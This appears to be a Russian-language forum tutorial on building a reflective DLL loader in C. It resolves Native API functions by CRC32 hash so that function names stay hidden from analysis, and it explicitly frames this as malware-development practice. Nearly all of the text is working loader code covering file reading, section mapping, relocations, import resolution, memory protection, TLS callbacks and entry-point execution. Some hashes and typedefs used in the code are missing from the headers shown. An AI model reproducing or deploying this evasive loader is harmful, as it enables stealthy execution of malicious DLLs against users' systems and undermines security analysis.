Чтобы переписать эти функции с помощью Native API, важно четко понимать, какие функции нужны и как установить хэши имен функций и определения функций для каждой из них. Следующие функции необходимы для замены функций в приведенном выше коде Шага 1.

RtlInitUnicodeString - необходима для создания юникодных строк
NtCreateFile - необходима для замены CreateFileA
NtQueryInformationFile - необходим для получения информации о файле
NtAllocateVirtualMemory - необходим для выделения памяти под файл
NtReadFile - необходима для чтения содержимого файла.

Чтобы эти функции работали, нам потребуется добавить несколько новых структур в наш заголовочный файл structs.h. Это связано с тем, что вызовы Native API полагаются на структуры данных нижнего уровня, которые необходимо добавить.

  1. UNICODE_STRING
  2. OBJECT_ATTRIBUTES
  3. IO_STATUS_BLOCK
  4. FILE_STANDARD_INFORMATION
  5. PIO_APC_ROUTINE

Поскольку это общая тема в разработке вредоносных программ, я собираюсь показать вам источники, которые я использую для получения определений структур и функций, а также то, как я хэширую имена. Я часто ссылаюсь на заголовочный файл ntdll.dll, используемый в проекте x64dbg. Вместо того чтобы включать весь файл в свои проекты, я считаю, что важно понимать, какие функции используют те или иные структуры. Добавляя только необходимые компоненты, я могу уменьшить размер своего проекта и потенциально уменьшить площадь поверхности для анализа. Такой подход также позволяет лучше понять используемые функции, а также обеспечивает более целенаправленный и упорядоченный процесс разработки.Первое, что я делаю для определения функций, это извлекаю прототип функции из заголовочного файла ntdll.dll, указанного в приведенной выше ссылке. После извлечения прототипов функций я копирую их, как показано в файле defs.h ниже.

defs.h

Код:
#include "structs.h"

#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 )
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
#define RTL_CONSTANT_STRING(s) { sizeof(s)-sizeof((s)[0]), sizeof(s), s }
#define FILL_STRING(string, buffer)                     \
    string.Length = (USHORT)sl(buffer);             \
    string.MaximumLength = string.Length;           \
    string.Buffer = buffer
#define InitializeObjectAttributes( p, n, a, r, s ) {   \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->RootDirectory = r;                             \
    (p)->Attributes = a;                                \
    (p)->ObjectName = n;                                \
    (p)->SecurityDescriptor = s;                        \
    (p)->SecurityQualityOfService = NULL;               \
    }

typedef VOID     (__stdcall *PIO_APC_ROUTINE)(PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,ULONG Reserved);
typedef VOID     (__stdcall *RtlInitUnicodeString_t)(PUNICODE_STRING DestinationString, PWSTR SourceString);
typedef NTSTATUS (__stdcall *NtCreateFile_t)(PHANDLE FileHandle,ACCESS_MASK DesiredAccess,POBJECT_ATTRIBUTES ObjectAttributes,PIO_STATUS_BLOCK IoStatusBlock,PLARGE_INTEGER AllocationSize,ULONG FileAttributes,ULONG ShareAccess,ULONG CreateDisposition,ULONG CreateOptions,PVOID EaBuffer,ULONG EaLength);
typedef NTSTATUS (__stdcall *NtAllocateVirtualMemory_t)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS (__stdcall *NtQueryInformationFile_t)(HANDLE FileHandle,PIO_STATUS_BLOCK IoStatusBlock,PVOID FileInformation,ULONG Length,FILE_INFORMATION_CLASS FileInformationClass);
typedef NTSTATUS (__stdcall *NtReadFile_t)(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,PVOID Buffer,ULONG Length,PLARGE_INTEGER ByteOffset,PULONG Key);

Если вы следите за этим, вы можете понять, почему нам нужны различные структуры для поддержки определений функций Native API, как показано на следующем изображении.

image-12.png


Вы можете видеть в IDE такие элементы, как PUNICODE_STRING или PIO_STATUS_BLOCK это означает, что нам нужно заполнить эти структуры внутри structs.h, как показано ниже.

Код:
#include <windows.h>

typedef struct BASE_RELOCATION_BLOCK {
    DWORD PageAddress;
    DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID Pointer;
    } DUMMYUNIONNAME;
    ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _FILE_STANDARD_INFORMATION {
    LARGE_INTEGER AllocationSize;
    LARGE_INTEGER EndOfFile;
    ULONG NumberOfLinks;
    BOOLEAN DeletePending;
    BOOLEAN Directory;
} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION;

typedef enum _FILE_INFORMATION_CLASS {
    FileDirectoryInformation = 1,
    FileFullDirectoryInformation,
    FileBothDirectoryInformation,
    FileBasicInformation,
    FileStandardInformation,
    FileInternalInformation,
    FileEaInformation,
    FileAccessInformation,
    FileNameInformation,
    FileRenameInformation,
    FileLinkInformation,
    FileNamesInformation,
    FileDispositionInformation,
    FilePositionInformation,
    FileFullEaInformation,
    FileModeInformation,
    FileAlignmentInformation,
    FileAllInformation,
    FileAllocationInformation,
    FileEndOfFileInformation,
    FileAlternateNameInformation,
    FileStreamInformation,
    FilePipeInformation,
    FilePipeLocalInformation,
    FilePipeRemoteInformation,
    FileMailslotQueryInformation,
    FileMailslotSetInformation,
    FileCompressionInformation,
    FileObjectIdInformation,
    FileCompletionInformation,
    FileMoveClusterInformation,
    FileQuotaInformation,
    FileReparsePointInformation,
    FileNetworkOpenInformation,
    FileAttributeTagInformation,
    FileTrackingInformation,
    FileIdBothDirectoryInformation,
    FileIdFullDirectoryInformation,
    FileValidDataLengthInformation,
    FileShortNameInformation,
    FileIoCompletionNotificationInformation,
    FileIoStatusBlockRangeInformation,
    FileIoPriorityHintInformation,
    FileSfioReserveInformation,
    FileSfioVolumeInformation,
    FileHardLinkInformation,
    FileProcessIdsUsingFileInformation,
    FileNormalizedNameInformation,
    FileNetworkPhysicalNameInformation,
    FileIdGlobalTxDirectoryInformation,
    FileIsRemoteDeviceInformation,
    FileUnusedInformation,
    FileNumaNodeInformation,
    FileStandardLinkInformation,
    FileRemoteProtocolInformation,
    FileRenameInformationBypassAccessCheck,
    FileLinkInformationBypassAccessCheck,
    FileVolumeNameInformation,
    FileIdInformation,
    FileIdExtdDirectoryInformation,
    FileReplaceCompletionInformation,
    FileHardLinkFullIdInformation,
    FileIdExtdBothDirectoryInformation,
    FileDispositionInformationEx,
    FileRenameInformationEx,
    FileRenameInformationExBypassAccessCheck,
    FileDesiredStorageClassInformation,
    FileStatInformation,
    FileMaximumInformation
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;

Теперь нам нужно определить хэши имен функций для имен функций, которые мы сейчас хотим использовать. Мы можем достичь этого, используя небольшой printfфункционировать вместе с нашими HASHмакрос, а затем выйдите, как показано ниже.

image-13.png


Затем вы берете эти хэши и определяете их в peb.hфайл, чтобы мы могли использовать их в следующем коде.

Код:
#include <stdint.h>
#include "defs.h"

#define SEED 0xDEADDEAD
#define HASH(API)(crc32b((uint8_t *)API))

#define RtlInitUnicodeString_CRC32b         0xe17f353f
#define NtCreateFile_CRC32b                 0x962c4683
#define NtAllocateVirtualMemory_CRC32b      0xec50426f
#define NtQueryInformationFile_CRC32b       0xb54956cb
#define NtReadFile_CRC32b                   0xab569438

extern void *get_ntdll();

uint32_t crc32b(const uint8_t *str);

void *get_proc_address_by_hash(void *dll_address, uint32_t function_hash);

Обфускация функций

Теперь, когда хэши и определения функций созданы, я покажу вам, как я обфусцирую указатели функций и скрываю имена функций в двоичном коде.
В следующем примере есть три шага для использования функции Native API при использовании обфускации функций.

Шаг 1: Убедитесь, что есть указатель на базовый адрес ntdll.dll, если нет, создайте его с помощью get_ntdll(). Затем создайте указатель void на имя функции и определите базовый адрес с помощью get_proc_address_by_hash, используя хэш, который мы создали в предыдущих шагах, как показано ниже.
Код:
void *p_ntdll = get_ntdll();
void *p_nt_create_file = get_proc_address_by_hash(p_ntdll, NtCreateFile_CRC32b);

Вышеуказанные указатели в настоящее время указывают на базовый адрес ntdll.dll и базовый адрес NtCreateFile соответственно.

Шаг 2: Приведите указатель на функцию к ее типу определения.

Код:
NtCreateFile_t g_nt_create_file = (NtCreateFile_t) p_nt_create_file;

В приведенном выше коде новая переменная g_nt_create_file приводится к типу NtCreateFile_t, как мы определили в defs.h.

Шаг 3: Используйте функцию как обычно, используя нашу новую функцию g_nt_create_file.


Код:
if((status = g_nt_create_file(&h_file, SYNCHRONIZE | GENERIC_READ, &obj_attrs, &io_status_block, 0, 0x0000080, 0x0000007, FILE_OPEN_IF, 0x0000020, 0x0000000, 0)) != 0x0)

        return -1;

Приведенная выше команда идентична фактической функции NtCreateFile, но использует обфусцированный указатель функции.
Теперь, когда мы рассмотрели вспомогательные функции и то, как применять обфускацию функций, мы можем начать работу над Шагом 1 нашего нового загрузчика RDI.

Шаг 1

На этом шаге двоичное представление DLL-файла считывается из файла

Код:
NTSTATUS status;
UNICODE_STRING dll_file;
WCHAR w_file_path[100] = L"\\??\\\\C:\\Temp\\dll_poc.dll";
void *p_ntdll = get_ntdll();
void *p_rtl_init_unicode_string = get_proc_address_by_hash(p_ntdll, RtlInitUnicodeString_CRC32b);
RtlInitUnicodeString_t g_rtl_init_unicode_string = (RtlInitUnicodeString_t) p_rtl_init_unicode_string;
g_rtl_init_unicode_string(&dll_file, w_file_path);

OBJECT_ATTRIBUTES obj_attrs;
IO_STATUS_BLOCK io_status_block;
InitializeObjectAttributes(&obj_attrs, &dll_file, 0x00000040L, NULL, NULL);

HANDLE h_file = NULL;
void *p_nt_create_file = get_proc_address_by_hash(p_ntdll, NtCreateFile_CRC32b);
NtCreateFile_t g_nt_create_file = (NtCreateFile_t) p_nt_create_file;
if((status = g_nt_create_file(&h_file, SYNCHRONIZE | GENERIC_READ, &obj_attrs, &io_status_block, 0, 0x0000080, 0x0000007, FILE_OPEN_IF, 0x0000020, 0x0000000, 0)) != 0x0)
    return -1;

FILE_STANDARD_INFORMATION file_standard_info;
void *p_nt_query_information_file = get_proc_address_by_hash(p_ntdll, NtQueryInformationFile_CRC32b);
NtQueryInformationFile_t g_nt_query_information_file = (NtQueryInformationFile_t) p_nt_query_information_file;
if((status = g_nt_query_information_file(h_file, &io_status_block, &file_standard_info, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation)) != 0x0)
    return -2;

unsigned long long int dll_size = file_standard_info.EndOfFile.QuadPart;
void *dll_bytes = NULL;
void *p_nt_allocate_virtual_memory = get_proc_address_by_hash(p_ntdll, NtAllocateVirtualMemory_CRC32b);
NtAllocateVirtualMemory_t g_nt_allocate_virtual_memory = (NtAllocateVirtualMemory_t) p_nt_allocate_virtual_memory;
if((status = g_nt_allocate_virtual_memory(((HANDLE) -1), &dll_bytes, 0, &dll_size, MEM_COMMIT, PAGE_READWRITE)) != 0x0)
    return -3;

void *p_nt_read_file = get_proc_address_by_hash(p_ntdll, NtReadFile_CRC32b);
NtReadFile_t g_nt_read_file = (NtReadFile_t)p_nt_read_file;
if((status = g_nt_read_file(h_file, NULL, NULL, NULL, &io_status_block, dll_bytes, dll_size, 0, NULL)) != 0x0)
    return -4;


Приведенный выше код эквивалентен шагу 1 в нашем базовом загрузчике. Эта версия включает функции Native API, использующие обфускацию функций и хеширование имен функций. Вы можете видеть, что код увеличился с 4 строк до почти 40, и это не считая структур и определений, которые мы добавили.

Шаг 2

Заголовок PE файла DLL анализируется для извлечения важной информации...

Код:
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)dll_bytes;
PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((unsigned long long int)dll_bytes + dos_header->e_lfanew);
SIZE_T dll_image_size = nt_headers->OptionalHeader.SizeOfImage;

Этот код использует PIMAGE_DOS_HEADERи PIMAGE_NT_HEADERS структуры, чтобы найти размер DLL-файла.

Шаг 3

Память выделяется в адресном пространстве целевого процесса для хранения бинарника

Код:
void *dll_base = NULL;
if((status = g_nt_allocate_virtual_memory(((HANDLE) -1), &dll_base, 0, &dll_image_size, MEM_COMMIT, PAGE_READWRITE)) != 0x0)
    return -4;

unsigned long long int delta_image_base = (unsigned long long int)dll_base - (unsigned long long int)nt_headers->OptionalHeader.ImageBase;
memcpy(dll_base, dll_bytes, nt_headers->OptionalHeader.SizeOfHeaders);

PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(nt_headers);
for(size_t i = 0; i < nt_headers->FileHeader.NumberOfSections; i++) {
    void *section_destination = (LPVOID)((unsigned long long int)dll_base + (unsigned long long int)section->VirtualAddress);
    void *section_bytes = (LPVOID)((unsigned long long int)dll_bytes + (unsigned long long int)section->PointerToRawData);
    memcpy(section_destination, section_bytes, section->SizeOfRawData);
    section++;
}

Приведенный выше код выделяет виртуальную память для DLL и копирует заголовок DLL в выделенную память, а затем перебирает каждый раздел DLL, копируя их содержимое в выделенную память. Код вычисляет разницу между базовым адресом выделенной памяти и ImageBaseадрес в заголовке PE-файла DLL и использует memcpy() для операций копирования памяти. Затем код перебирает разделы DLL, как определено в заголовке PE-файла.

Шаг 4

Загрузчик выполняет все необходимые исправления перемещения исполняемого файла.

Код:
IMAGE_DATA_DIRECTORY relocations = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
unsigned long long int relocation_table = relocations.VirtualAddress + (unsigned long long int)dll_base;
unsigned long relocations_processed = 0;

while(relocations_processed < relocations.Size) {
    PBASE_RELOCATION_BLOCK relocation_block = (PBASE_RELOCATION_BLOCK)(relocation_table + relocations_processed);
    relocations_processed += sizeof(BASE_RELOCATION_BLOCK);
    unsigned long relocations_count = (relocation_block->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
    PBASE_RELOCATION_ENTRY relocation_entries = (PBASE_RELOCATION_ENTRY)(relocation_table + relocations_processed);

    for(unsigned long i = 0; i < relocations_count; i++) {
        relocations_processed += sizeof(BASE_RELOCATION_ENTRY);
        if(relocation_entries[i].Type == 0)
            continue;

        unsigned long long int relocation_rva = relocation_block->PageAddress + relocation_entries[i].Offset;
        unsigned long long int address_to_patch = 0;
        void *p_nt_read_virtual_memory = get_proc_address_by_hash(p_ntdll, NtReadVirtualMemory_CRC32b);
        NtReadVirtualMemory_t g_nt_read_virtual_memory = (NtReadVirtualMemory_t) p_nt_read_virtual_memory;
        if((status = g_nt_read_virtual_memory(((HANDLE) -1), (void *)((unsigned long long int)dll_base + relocation_rva), &address_to_patch, sizeof(unsigned long long int), NULL)) != 0x0)
            return -5;

        address_to_patch += delta_image_base;
        memcpy((void *)((unsigned long long int)dll_base + relocation_rva), &address_to_patch, sizeof(unsigned long long int));
    }
}

Этот код отвечает за перемещение образа DLL на его новый базовый адрес. Сначала он получает каталог данных о перемещениях и вычисляет RVA таблицы перемещений. Затем он выполняет итерацию по каждому блоку в таблице перемещений и вычисляет адрес для исправления на основе типа перемещения и смещения, используя как PBASE_RELOCATION_ENTRYи PBASE_RELOCATION_BLOCKструктуры. Он считывает исходное значение по адресу для исправления, добавляет к нему базу дельта-образа и записывает его обратно в то же место, чтобы обновить адрес в новом местоположении. Этот процесс обеспечивает правильную работу библиотеки DLL по ее новому базовому адресу.

Шаг 5

Загрузчик выполняет любой необходимый импорт. Импорт - это ссылка на функцию...

Код:
PIMAGE_IMPORT_DESCRIPTOR import_descriptor;
IMAGE_DATA_DIRECTORY images_directory = nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
UNICODE_STRING import_library_name;

import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)(images_directory.VirtualAddress + (unsigned long long int)dll_base);
void *current_library = NULL;

while(import_descriptor->Name != 0) {
    void *p_ldr_load_dll = get_proc_address_by_hash(p_ntdll, LdrLoadDll_CRC32b);
    char *module_name = (char *)dll_base + import_descriptor->Name;
    wchar_t w_module_name[MAX_PATH];
    unsigned long num_converted;

    void *p_rtl_multi_byte_to_unicode_n = get_proc_address_by_hash(p_ntdll, RtlMultiByteToUnicodeN_CRC32b);
    RtlMultiByteToUnicodeN_t g_rtl_multi_byte_to_unicode_n = (RtlMultiByteToUnicodeN_t) p_rtl_multi_byte_to_unicode_n;
    if((status = g_rtl_multi_byte_to_unicode_n(w_module_name, sizeof(w_module_name), &num_converted, module_name, sl(module_name) +1)) != 0x0)
        return -5;

    g_rtl_init_unicode_string(&import_library_name, w_module_name);
    LdrLoadDll_t g_ldr_load_dll = (LdrLoadDll_t) p_ldr_load_dll;
    if((status = g_ldr_load_dll(NULL, NULL, &import_library_name, &current_library)) != 0x0)
        return -6;

    if (current_library){
        ANSI_STRING a_string;
        PIMAGE_THUNK_DATA thunk = NULL;
        PIMAGE_THUNK_DATA original_thunk = NULL;
        thunk = (PIMAGE_THUNK_DATA)((unsigned long long int)dll_base + import_descriptor->FirstThunk);
        original_thunk = (PIMAGE_THUNK_DATA)((unsigned long long int)dll_base + import_descriptor->OriginalFirstThunk);
        while (thunk->u1.AddressOfData != 0){
            void *p_ldr_get_procedure_address = get_proc_address_by_hash(p_ntdll, LdrGetProcedureAddress_CRC32b);
            LdrGetProcedureAddress_t g_ldr_get_procedure_address = (LdrGetProcedureAddress_t) p_ldr_get_procedure_address;
            if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) {
                g_ldr_get_procedure_address(current_library, NULL, (WORD) original_thunk->u1.Ordinal, (PVOID *) &(thunk->u1.Function));
            } else {
                PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((unsigned long long int)dll_base + thunk->u1.AddressOfData);
                FILL_STRING(a_string, functionName->Name);
                g_ldr_get_procedure_address(current_library, &a_string, 0, (PVOID *) &(thunk->u1.Function));
            }
            ++thunk;
            ++original_thunk;
        }
    }
    import_descriptor++;
}

Приведенный выше код обрабатывает динамическое связывание импортированных библиотек в файле Windows PE. Он перебирает дескрипторы импорта в PE-файле, загружает библиотеки импорта, используя LdrLoadDllфункция, извлекает адреса импортированных функций, используя LdrGetProcedureAddressфункции и обновляет таблицу адресов импорта (IAT) разрешенными адресами. В коде используются специфичные для Windows типы данных и структуры, такие как PIMAGE_IMPORT_DESCRIPTORи UNICODE_STRING, и использует указатели функций, полученные с помощью поиска на основе хэшей, для динамического вызова функций из библиотеки NTDLL, системной библиотеки Windows, предоставляющей низкоуровневые функции для управления процессами, потоками и памятью.

Шаг 6

Применяются настройки защиты различных разделов DLL-образа...

Код:
PIMAGE_SECTION_HEADER section_header = IMAGE_FIRST_SECTION(nt_headers);
for (int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++, section_header++) {
    if (section_header->SizeOfRawData) {
        unsigned long executable = (section_header->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
        unsigned long readable = (section_header->Characteristics & IMAGE_SCN_MEM_READ) != 0;
        unsigned long writeable = (section_header->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
        unsigned long protect = 0;

        if (!executable && !readable && !writeable)
            protect = PAGE_NOACCESS;
        else if (!executable && !readable && writeable)
            protect = PAGE_WRITECOPY;
        else if (!executable && readable && !writeable)
            protect = PAGE_READONLY;
        else if (!executable && readable && writeable)
            protect = PAGE_READWRITE;
        else if (executable && !readable && !writeable)
            protect = PAGE_EXECUTE;
        else if (executable && !readable && writeable)
            protect = PAGE_EXECUTE_WRITECOPY;
        else if (executable && readable && !writeable)
            protect = PAGE_EXECUTE_READ;
        else if (executable && readable && writeable)
            protect = PAGE_EXECUTE_READWRITE;

        if (section_header->Characteristics & IMAGE_SCN_MEM_NOT_CACHED)
            protect |= PAGE_NOCACHE;

        void *p_nt_protect_virtual_memory = get_proc_address_by_hash(p_ntdll, NtProtectVirtualMemory_CRC32b);
        NtProtectVirtualMemory_t g_nt_protect_virtual_memory = (NtProtectVirtualMemory_t) p_nt_protect_virtual_memory;
        size_t size = section_header->SizeOfRawData;
        void *address = dll_base + section_header->VirtualAddress;
        if((status = g_nt_protect_virtual_memory(NtCurrentProcess(), &address, &size, protect, &protect)) != 0x0)
            return -7;
    }
}

Приведенный выше код выполняет итерацию по разделам DLL, как определено в заголовке ее PE-файла. Для каждого раздела он вычисляет флаги защиты для области памяти, в которую будет загружаться раздел, на основе характеристик раздела (таких как исполняемый файл, доступный для чтения и записи). Затем он вызывает NtProtectVirtualMemory(), полученная через указатель функции, чтобы установить соответствующую защиту памяти для раздела.

Шаг 7

Очистите кеш инструкций и проверьте, есть ли в TLS записи для копирования

Код:
void *p_nt_flush_instruction_cache = get_proc_address_by_hash(p_ntdll, NtFlushInstructionCache_CRC32b);
NtFlushInstructionCache_t g_nt_flush_instruction_cache = (NtFlushInstructionCache_t) p_nt_flush_instruction_cache;
g_nt_flush_instruction_cache((HANDLE) -1, NULL, 0);

PIMAGE_TLS_CALLBACK *callback;
PIMAGE_DATA_DIRECTORY tls_entry = &nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
if(tls_entry->Size) {
    PIMAGE_TLS_DIRECTORY tls_dir = (PIMAGE_TLS_DIRECTORY)((unsigned long long int)dll_base + tls_entry->VirtualAddress);
    callback = (PIMAGE_TLS_CALLBACK *)(tls_dir->AddressOfCallBacks);
    for(; *callback; callback++)
        (*callback)((LPVOID)dll_base, DLL_PROCESS_ATTACH, NULL);
}

выше код очищает кеш инструкций, используя NtFlushInstructionCache после обработки ИАТ. Затем код проверяет, есть ли в PE-файле запись каталога TLS (Thread Local Storage) в необязательном заголовке, используя IMAGE_DIRECTORY_ENTRY_TLSпостоянный. Если это так, он извлекает каталог TLS из PE-файла, который содержит список функций обратного вызова TLS (AddressOfCallBacks), которые должны выполняться во время инициализации потока.


Шаг 8​

Наконец, загрузчик передает управление точке входа исполняемого файла...

Код:
DLLEntry DllEntry = (DLLEntry)((unsigned long long int)dll_base + nt_headers->OptionalHeader.AddressOfEntryPoint);
(*DllEntry)((HINSTANCE)dll_base, DLL_PROCESS_ATTACH, 0);

void *p_nt_close = get_proc_address_by_hash(p_ntdll, NtClose_CRC32b);
NtClose_t g_nt_close = (NtClose_t) p_nt_close;
g_nt_close(h_file);

void *p_nt_free_virtual_memory = get_proc_address_by_hash(p_ntdll, NtFreeVirtualMemory_CRC32b);
NtFreeVirtualMemory_t g_nt_free_virtual_memory = (NtFreeVirtualMemory_t)p_nt_free_virtual_memory;
g_nt_free_virtual_memory(((HANDLE) -1), &dll_bytes, &dll_size, MEM_RELEASE);

Приведенный выше код вычисляет адрес DLLEntryфункция внутри DLL, вызывает ее с соответствующими аргументами, извлекает и приводит указатели функций для NtCloseи NtFreeVirtualMemoryфункции из модуля ntdll и вызывает их с соответствующими аргументами. Эти операции, вероятно, включают обработку инициализации DLL, закрытие дескрипторов или файлов и освобождение виртуальной памяти, выделенной для DLL.

Финал

Со всем кодом вместе, включая все новые определения функций и хэши, он должен выглядеть следующим образом.

structs.h

Код:
#include <windows.h>

#pragma clang diagnostic push
#pragma ide diagnostic ignored "bugprone-reserved-identifier"

typedef struct BASE_RELOCATION_BLOCK {
    DWORD PageAddress;
    DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID Pointer;
    } DUMMYUNIONNAME;
    ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _FILE_STANDARD_INFORMATION {
    LARGE_INTEGER AllocationSize;
    LARGE_INTEGER EndOfFile;
    ULONG NumberOfLinks;
    BOOLEAN DeletePending;
    BOOLEAN Directory;
} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION;

typedef enum _FILE_INFORMATION_CLASS {
    FileDirectoryInformation = 1,
    FileFullDirectoryInformation,
    FileBothDirectoryInformation,
    FileBasicInformation,
    FileStandardInformation,
    FileInternalInformation,
    FileEaInformation,
    FileAccessInformation,
    FileNameInformation,
    FileRenameInformation,
    FileLinkInformation,
    FileNamesInformation,
    FileDispositionInformation,
    FilePositionInformation,
    FileFullEaInformation,
    FileModeInformation,
    FileAlignmentInformation,
    FileAllInformation,
    FileAllocationInformation,
    FileEndOfFileInformation,
    FileAlternateNameInformation,
    FileStreamInformation,
    FilePipeInformation,
    FilePipeLocalInformation,
    FilePipeRemoteInformation,
    FileMailslotQueryInformation,
    FileMailslotSetInformation,
    FileCompressionInformation,
    FileObjectIdInformation,
    FileCompletionInformation,
    FileMoveClusterInformation,
    FileQuotaInformation,
    FileReparsePointInformation,
    FileNetworkOpenInformation,
    FileAttributeTagInformation,
    FileTrackingInformation,
    FileIdBothDirectoryInformation,
    FileIdFullDirectoryInformation,
    FileValidDataLengthInformation,
    FileShortNameInformation,
    FileIoCompletionNotificationInformation,
    FileIoStatusBlockRangeInformation,
    FileIoPriorityHintInformation,
    FileSfioReserveInformation,
    FileSfioVolumeInformation,
    FileHardLinkInformation,
    FileProcessIdsUsingFileInformation,
    FileNormalizedNameInformation,
    FileNetworkPhysicalNameInformation,
    FileIdGlobalTxDirectoryInformation,
    FileIsRemoteDeviceInformation,
    FileUnusedInformation,
    FileNumaNodeInformation,
    FileStandardLinkInformation,
    FileRemoteProtocolInformation,
    FileRenameInformationBypassAccessCheck,
    FileLinkInformationBypassAccessCheck,
    FileVolumeNameInformation,
    FileIdInformation,
    FileIdExtdDirectoryInformation,
    FileReplaceCompletionInformation,
    FileHardLinkFullIdInformation,
    FileIdExtdBothDirectoryInformation,
    FileDispositionInformationEx,
    FileRenameInformationEx,
    FileRenameInformationExBypassAccessCheck,
    FileDesiredStorageClassInformation,
    FileStatInformation,
    FileMaximumInformation
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;

typedef struct _STRING {
    USHORT Length;
    USHORT MaximumLength;
    PCHAR Buffer;
} ANSI_STRING, *PANSI_STRING;

#pragma clang diagnostic pop

defs.h

Код:
#include "structs.h"

#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 )
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
#define RTL_CONSTANT_STRING(s) { sizeof(s)-sizeof((s)[0]), sizeof(s), s }

#define OBJ_INHERIT                                 0x00000002L
#define OBJ_PERMANENT                               0x00000010L
#define OBJ_EXCLUSIVE                               0x00000020L
#define OBJ_CASE_INSENSITIVE                        0x00000040L
#define OBJ_OPENIF                                  0x00000080L
#define OBJ_OPENLINK                                0x00000100L
#define OBJ_KERNEL_HANDLE                           0x00000200L
#define OBJ_FORCE_ACCESS_CHECK                      0x00000400L
#define OBJ_IGNORE_IMPERSONATED_DEVICEMAP           0x00000800
#define OBJ_DONT_REPARSE                            0x00001000
#define OBJ_VALID_ATTRIBUTES                        0x00001FF2

#define FILL_STRING(string, buffer)                     \
    string.Length = (USHORT)strlen(buffer);             \
    string.MaximumLength = string.Length;               \
    string.Buffer = buffer

#define InitializeObjectAttributes( p, n, a, r, s ) {   \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->RootDirectory = r;                             \
    (p)->Attributes = a;                                \
    (p)->ObjectName = n;                                \
    (p)->SecurityDescriptor = s;                        \
    (p)->SecurityQualityOfService = NULL;               \
    }

typedef BOOL     (__stdcall *DLLEntry)(HINSTANCE dll, unsigned long reason, void *reserved);
typedef VOID     (__stdcall *PIO_APC_ROUTINE)(PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,ULONG Reserved);
typedef VOID     (__stdcall *RtlInitUnicodeString_t)(PUNICODE_STRING DestinationString, PWSTR SourceString);
typedef NTSTATUS (__stdcall *NtClose_t)(HANDLE);
typedef NTSTATUS (__stdcall *RtlMultiByteToUnicodeN_t)(PWCH UnicodeString,ULONG MaxBytesInUnicodeString,PULONG BytesInUnicodeString,PCSTR MultiByteString,ULONG BytesInMultiByteString);
typedef NTSTATUS (__stdcall *NtReadFile_t)(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,PVOID Buffer,ULONG Length,PLARGE_INTEGER ByteOffset,PULONG Key);
typedef NTSTATUS (__stdcall *LdrLoadDll_t)(PCWSTR DllPath, PULONG DllCharacteristics, PUNICODE_STRING DllName, PVOID* DllHandle);
typedef NTSTATUS (__stdcall *LdrGetProcedureAddress_t)(PVOID DllHandle, PANSI_STRING ProcedureName, ULONG ProcedureNumber, PVOID* ProcedureAddress);
